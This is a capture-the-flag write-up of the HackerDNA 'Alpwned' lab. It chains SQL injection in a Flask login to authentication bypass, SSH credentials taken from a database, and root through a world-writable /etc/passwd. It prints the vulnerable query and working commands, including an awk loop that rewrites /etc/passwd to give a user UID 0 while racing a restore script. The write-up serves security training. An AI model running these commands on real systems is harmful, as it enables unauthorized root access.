September 7, 2026
Alpwned โ From SQL Injection to Root
https://hackerdna.com/labs/alpwned Solution by Muhsin Ali Shah/

By Muhsin Ali Shah
5 min read
How a Simple Web Vulnerability Led to Complete Root Access
CTF machines often don't require a single sophisticated exploit.
Sometimes, the entire attack chain is built from several small weaknesses:
SQL Injection โ Authentication Bypass โ Credential Disclosure โ SSH โ Bad File Permissions โ Root
That was exactly the case with Alpwned, a HackerDNA lab focused on web application security and Linux privilege escalation.
Lab:_ Alpwned Url:_ https://hackerdna.com/labs/alpwned
Platform:_ HackerDNA Difficulty: Intermediate Topics: SQL Injection, Authentication Bypass, SSH, Linux Privilege Escalation, File Permissions_
Disclaimer: Target IP addresses, credentials, and flag values have intentionally been removed from this write-up.
1. Starting Point
After gaining access to the target, I began with standard Linux enumeration.
First, I checked my current privileges:
ididThe shell was running as the low-privileged ctf user.
At this point, the goal was simple:
Find a way to turn the
ctfshell into root.
2. Checking the Usual Privilege Escalation Vectors
I started with SUID binaries:
find / -type f -perm -4000 -ls 2>/dev/nullfind / -type f -perm -4000 -ls 2>/dev/nullNothing useful appeared.
Next, Linux capabilities:
getcap -r / 2>/dev/nullgetcap -r / 2>/dev/nullAgain, nothing interesting.
I also checked writable files and directories, but there were no obvious application scripts or binaries that could immediately provide privilege escalation.
3. Looking at the Web Application
The running processes revealed something interesting:
python3 /app/server.pypython3 /app/server.pyThe application was a Flask web application.
Inspecting the source code showed that the login function constructed its SQL query using Python string interpolation:
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}';"There was also a blacklist attempting to block common SQL injection patterns:
if "--" in username or "/*" in username or "union" in username.lower():if "--" in username or "/*" in username or "union" in username.lower():At first glance, this looked like protection.
But blacklist-based filtering is rarely a reliable defense against SQL injection.
The application was still dynamically constructing SQL statements using user-controlled input.
4. SQL Injection โ Authentication Bypass
The vulnerable login functionality provided an entry point for SQL injection.
The important discovery wasn't simply that SQL injection existed โ it was what could be reached after authentication.
The application had an administrative dashboard, and the dashboard queried another database table:
SELECT * FROM ssh_creds;SELECT * FROM ssh_creds;That immediately made the admin account particularly interesting.
After bypassing authentication, I was able to access the administrative functionality and inspect the application's database.
5. Finding SSH Credentials
The application database contained an ssh_creds table:
CREATE TABLE ssh_creds (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user TEXT NOT NULL,
ssh_password TEXT NOT NULL
);CREATE TABLE ssh_creds (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user TEXT NOT NULL,
ssh_password TEXT NOT NULL
);This was a major turning point.
The database contained SSH credentials for the ctf user.
Instead of continuing to attack the web application, I could now move to the operating system itself.
Attack path so far
SQL Injection
โ
Authentication Bypass
โ
Admin Dashboard
โ
Database Enumeration
โ
SSH Credentials
โ
SSH AccessSQL Injection
โ
Authentication Bypass
โ
Admin Dashboard
โ
Database Enumeration
โ
SSH Credentials
โ
SSH Access6. SSH Access
Using the recovered credentials, I established an SSH session as the ctf user.
ssh ctf@<TARGET>ssh ctf@<TARGET>Once connected:
ididconfirmed that I had a normal, non-root account.
Now the challenge became a classic Linux privilege-escalation problem.
7. The Interesting Discovery: /etc/passwd
I started checking sensitive system files and their permissions.
Then I found something unusual:
ls -l /etc/passwdls -l /etc/passwdThe permissions showed that /etc/passwd was world-writable.
That immediately stood out.
Normally, /etc/passwd should be protected from modification by ordinary users.
The file contains account information in this format:
username:password:UID:GID:comment:home:shellusername:password:UID:GID:comment:home:shellThe important fields here are UID and GID.
The root account uses:
UID: 0
GID: 0UID: 0
GID: 0The existing ctf account, however, had a normal non-root UID.
That suggested an interesting possibility:
What if the
ctfaccount could be changed to UID 0?
8. Why My First Attempt Failed
My first instinct was to use sed -i.
However:
sed -i ...sed -i ...returned:
sed: can't create temp file '/etc/passwdXXXXXX': Permission deniedsed: can't create temp file '/etc/passwdXXXXXX': Permission deniedThis initially seemed confusing.
If /etc/passwd was writable, why couldn't sed modify it?
The reason is that sed -i generally creates a temporary file and then replaces the original.
The file was writable, but the /etc directory itself wasn't writable by my user.
So creating a temporary file inside /etc failed.
Key lesson
Writable file โ writable directory.
That distinction matters a lot during Linux privilege escalation.
9. Directly Overwriting /etc/passwd
Instead of asking sed to replace the file, I generated a modified copy in /tmp and then redirected that copy directly into /etc/passwd.
The command was:
awk -F: 'BEGIN{OFS=":"} $1=="ctf" {$3=0;$4=0;$6="/root";$7="/bin/sh"} {print}' /etc/passwd > /tmp/p
cat /tmp/p > /etc/passwdawk -F: 'BEGIN{OFS=":"} $1=="ctf" {$3=0;$4=0;$6="/root";$7="/bin/sh"} {print}' /etc/passwd > /tmp/p
cat /tmp/p > /etc/passwdThen I checked:
grep '^ctf:' /etc/passwdgrep '^ctf:' /etc/passwdThe modified entry became:
ctf:x:0:0::/root:/bin/shctf:x:0:0::/root:/bin/shAt this point, the account was mapped to UID 0.
10. Something Was Fighting Back
There was one problem.
The modification didn't remain permanent.
A little later, /etc/passwd would return to its original state.
While investigating running processes, I found:
/bin/sh /root/setup.sh/bin/sh /root/setup.shrunning as root.
This process was periodically restoring the system configuration.
So the challenge now had an interesting twist:
The vulnerable
/etc/passwdwas writable, but a root process was continuously restoring it.
This meant I had to win a race.
11. Winning the Race
Instead of modifying the file once and manually running another command, I placed the modification inside a loop.
while true; do
awk -F: 'BEGIN{OFS=":"} $1=="ctf" {$3=0;$4=0;$6="/root"} {print}' /etc/passwd >/tmp/p
cat /tmp/p >/etc/passwd
if id ctf 2>/dev/null | grep -q 'uid=0'; then
echo '[+] ROOT ACCOUNT ACTIVE'
id ctf
break
fi
donewhile true; do
awk -F: 'BEGIN{OFS=":"} $1=="ctf" {$3=0;$4=0;$6="/root"} {print}' /etc/passwd >/tmp/p
cat /tmp/p >/etc/passwd
if id ctf 2>/dev/null | grep -q 'uid=0'; then
echo '[+] ROOT ACCOUNT ACTIVE'
id ctf
break
fi
doneEventually:
[+] ROOT ACCOUNT ACTIVE
uid=0(root) gid=0(root) groups=0(root)[+] ROOT ACCOUNT ACTIVE
uid=0(root) gid=0(root) groups=0(root)That was the confirmation I was looking for.
The ctf account was now resolving to UID 0.
12. Retrieving the Second Flag
With the UID-0 account active, I could execute commands with root privileges.
The final step was simply to search the filesystem for the flag:
find / -type f -name "flag*" 2>/dev/nullfind / -type f -name "flag*" 2>/dev/nullAfter locating the relevant file, I read it with root privileges.
The second flag was successfully obtained.
The actual flag is intentionally omitted from this article.
13. Complete Attack Chain
The entire compromise can be summarized as:
WEB APPLICATION
โ
โผ
SQL Injection
โ
โผ
Authentication Bypass
โ
โผ
Admin Dashboard
โ
โผ
Database Enumeration
โ
โผ
SSH Credentials
โ
โผ
SSH as ctf
โ
โผ
Linux Privilege Enumeration
โ
โผ
World-Writable /etc/passwd
โ
โผ
Change ctf UID/GID โ 0
โ
โผ
Race Root Setup Process
โ
โผ
UID 0 / ROOT
โ
โผ
Second FlagWEB APPLICATION
โ
โผ
SQL Injection
โ
โผ
Authentication Bypass
โ
โผ
Admin Dashboard
โ
โผ
Database Enumeration
โ
โผ
SSH Credentials
โ
โผ
SSH as ctf
โ
โผ
Linux Privilege Enumeration
โ
โผ
World-Writable /etc/passwd
โ
โผ
Change ctf UID/GID โ 0
โ
โผ
Race Root Setup Process
โ
โผ
UID 0 / ROOT
โ
โผ
Second FlagWhat I Learned
1. Don't rely on blacklist-based SQLi protection
Blocking strings such as union, --, or /* is not a proper defense against SQL injection.
The correct approach is parameterized queries.
2. Always inspect application databases
The web application wasn't just a way into the machine.
Its database contained information that directly enabled the next stage of the attack.
3. Check permissions on critical Linux files
During privilege escalation, always inspect files such as:
/etc/passwd
/etc/shadow
/etc/group/etc/passwd
/etc/shadow
/etc/groupUnexpected write permissions can completely change the attack surface.
4. Understand how Linux file operations actually work
The failed sed -i attempt was a good reminder that:
Writable fileWritable filedoesn't necessarily mean:
Writable directoryWritable directoryKnowing how programs create temporary files can make the difference between a failed exploit and a successful one.
5. Look at root-owned processes
The root-owned setup.sh process initially looked like background noise.
It turned out to be important because it was restoring /etc/passwd.
Process enumeration isn't only about finding suspicious binaries โ root processes and their behavior can reveal how the environment is configured.
6. Think in terms of attack chains
The most important lesson from Alpwned was that none of the individual vulnerabilities needed to be extremely complicated.
The real impact came from chaining them:
Web vulnerability โ credentials โ SSH โ misconfiguration โ privilege escalation
That's one of the most valuable skills to develop when solving CTFs and performing real-world security assessments.
Final Thoughts
Alpwned was a great demonstration of why attackers rarely depend on a single vulnerability.
A vulnerable login mechanism led to database access. Database exposure led to SSH credentials. SSH access exposed a dangerous Linux permission misconfiguration. And that misconfiguration ultimately resulted in root access.
The takeaway is simple:
Always enumerate. Always question unusual permissions. And never assume that one security control is enough to protect an application.